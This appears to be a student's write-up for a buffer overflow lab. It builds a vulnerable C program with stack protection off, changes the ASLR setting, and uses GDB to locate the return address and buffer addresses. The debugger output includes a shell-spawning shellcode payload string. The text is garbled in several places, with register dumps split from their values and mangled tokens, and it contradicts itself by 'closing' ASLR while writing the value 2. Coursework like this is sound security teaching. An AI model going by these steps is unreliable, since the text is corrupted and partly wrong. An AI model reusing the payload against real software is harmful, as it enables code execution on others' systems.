Lab2 Answer

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a

if I run without "-z execstack", it will report a **Segmentation Fault**:

```
root@kali-WSU:~/Desktop/Lab2-Buffer0verflows# gcc -g -fno-stack-protector BOF.c
-o BOF
root@kali-WSU:~/Desktop/Lab2-Buffer0verflows# ./BOF
Buffer overflow vulnerability starting up...
Segmentation fault
```

b

Lets first close the ASLR. and run our code. Then we will receive a **Segmentation Fault**:

```
root@kali-WSU:~/Desktop/Lab2-Buffer0verflows# echo 2 > /proc/sys/kernel/randomize_va_space
root@kali-WSU:~/Desktop/Lab2-Buffer0verflows# cat /proc/sys/kernel/randomize_va_space
2
root@kali-WSU:~/Desktop/Lab2-Buffer0verflows# gcc -g -z execstack -fno-stack-protector BOF.c -o BOF
root@kali-WSU:~/Desktop/Lab2-Buffer0verflows# ./BOF
Buffer overflow vulnerability starting up...
Segmentation fault
```

Then lets check the return address in GDB:

The **GDB** 's ASLR is turn off at first. As we can see that the return address is in (\$ebp + 4), which is 0x0804851e:

```
gdb) b 12
Breakpoint 1 at 0x80484a1: file B0F.c, line 12.
(gdb) r
Starting program: /root/Desktop/Lab2-Buffer0verflows/B0F
Buffer overflow vulnerability starting up...
Breakpoint<sub>0</sub>1, buffer0verflow (
str=0xbffff23c 'A' <repeats 24 times>, "\220\362\377\277\061\300Ph//shh/bin\211\343PS\211^1v")
    at BOF.c:12
            strcpy(buffer, str);
(gdb) i r
                0xbffff23c
                                   -1073745348
eax
                0x804a0a0
                                   134520992
ecx
                0x200 512
edx
                0xb7fb6000
ebx
                                   -1208262656
                0xbffff200
                                   0xbffff200
esp
                0xbffff218
                                   0xbffff218
ebp
                0 \times 0
                          0
esi
                0x0
                          0
edi
                0x80484a1
                                   0x80484a1 <buffer0verflow+6>
eip
                          [ PF SF IF ]
115
eflags
                0x286
                0x73
                0x7b
                          123
ss
                          123
ds
                0x7b
                          123
                0x7b
es
fs
                0x0
                          0
                0x33
                          51
(gdb) x 0xbffff21c
                 0x0804851e
```

Then we turn on **GDB** 's ASLR. Then we can see that the return address is still the same:

```
gdb) set disable-randomization off
(adb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/Lab2-Buffer0verflows/BOF
Buffer overflow vulnerability starting up...
Breakpoint<sub>0</sub>1, buffer0verflow (
str=0xbf84dd7c 'A' <repeats 24 times>, "\220\362\377\277\061\300Ph//shh/bin\211\343PS\211^1v")
    at BOF.c:12
12
            strcpy(buffer, str);
(gdb) i r
                 0xbf84dd7c
                                     -1081811588
eax
                 0x9f440a0
                                     167002272
ecx
                 0x200 512
edx
ebx
                 0xb77ad000
                                     -1216688128
                 0xbf84dd40
esp
                                     0xbf84dd40
                 0xbf84dd58
                                     0xbf84dd58
ebp
                 0 \times 0
esi
edi
                 0x0
                           0
eip
                 0x80484a1
                                     0x80484a1 <buffer0verflow+6>
                           [ SF IF ]
115
                 0x282
eflags
                 0x73
cs
                            123
                 0x7b
SS
ds
                 0x7b
                            123
es
                 0x7b
                            123
fs
                 0x0
                 0x33
                            51
as
(gdb) x 0xbf84dd58
                 0xbf84df88
0xbf84dd58:
(gdb) x 0xbf84dd5c
0xbf84dd5c: 0x6
                 0x0804851e
```

C

Yes, It will change. Because when I finish my code in GDB, I found it become wrong running through **./BOF**:

So, Let us do an experiments. first we shall change some codes in **BOF.c** in order to print out the buffer's address:

```
int buffer0verflow(const char * str)
{|
   char buffer[12];
   printf("%x", buffer);

   /* This line has a buffer overflow vulnerability. */
   //strcpy(buffer, str);
   return 1;
}
```

Then run it in **GDB**, we got 0xbffff204:

```
(gdb) r
Starting program: /root/Desktop/Lab2-Buffer0verflows/B0F
Buffer overflow vulnerability starting up...
bffff204
buffer0verflow() function returned
[Inferior 1 (process 8609) exited with code 01]
```

Then run it through ./BOF, it is changed to 0xbfc78814:

```
root@kali-WSU:~/Desktop/Lab2-BufferOverflows# ./BOF
Buffer overflow vulnerability starting up...
bfc78814
bufferOverflow() function returned
```

Finally run it through /home/root/Desktop/Lab2-BufferOverflows/BOF, changed again:

root@kali-WSU:~/Desktop/Lab2-BufferOverflows# /root/Desktop/Lab2-BufferOverflows/BOF Buffer overflow vulnerability starting up... bf94dc54 bufferOverflow() function returned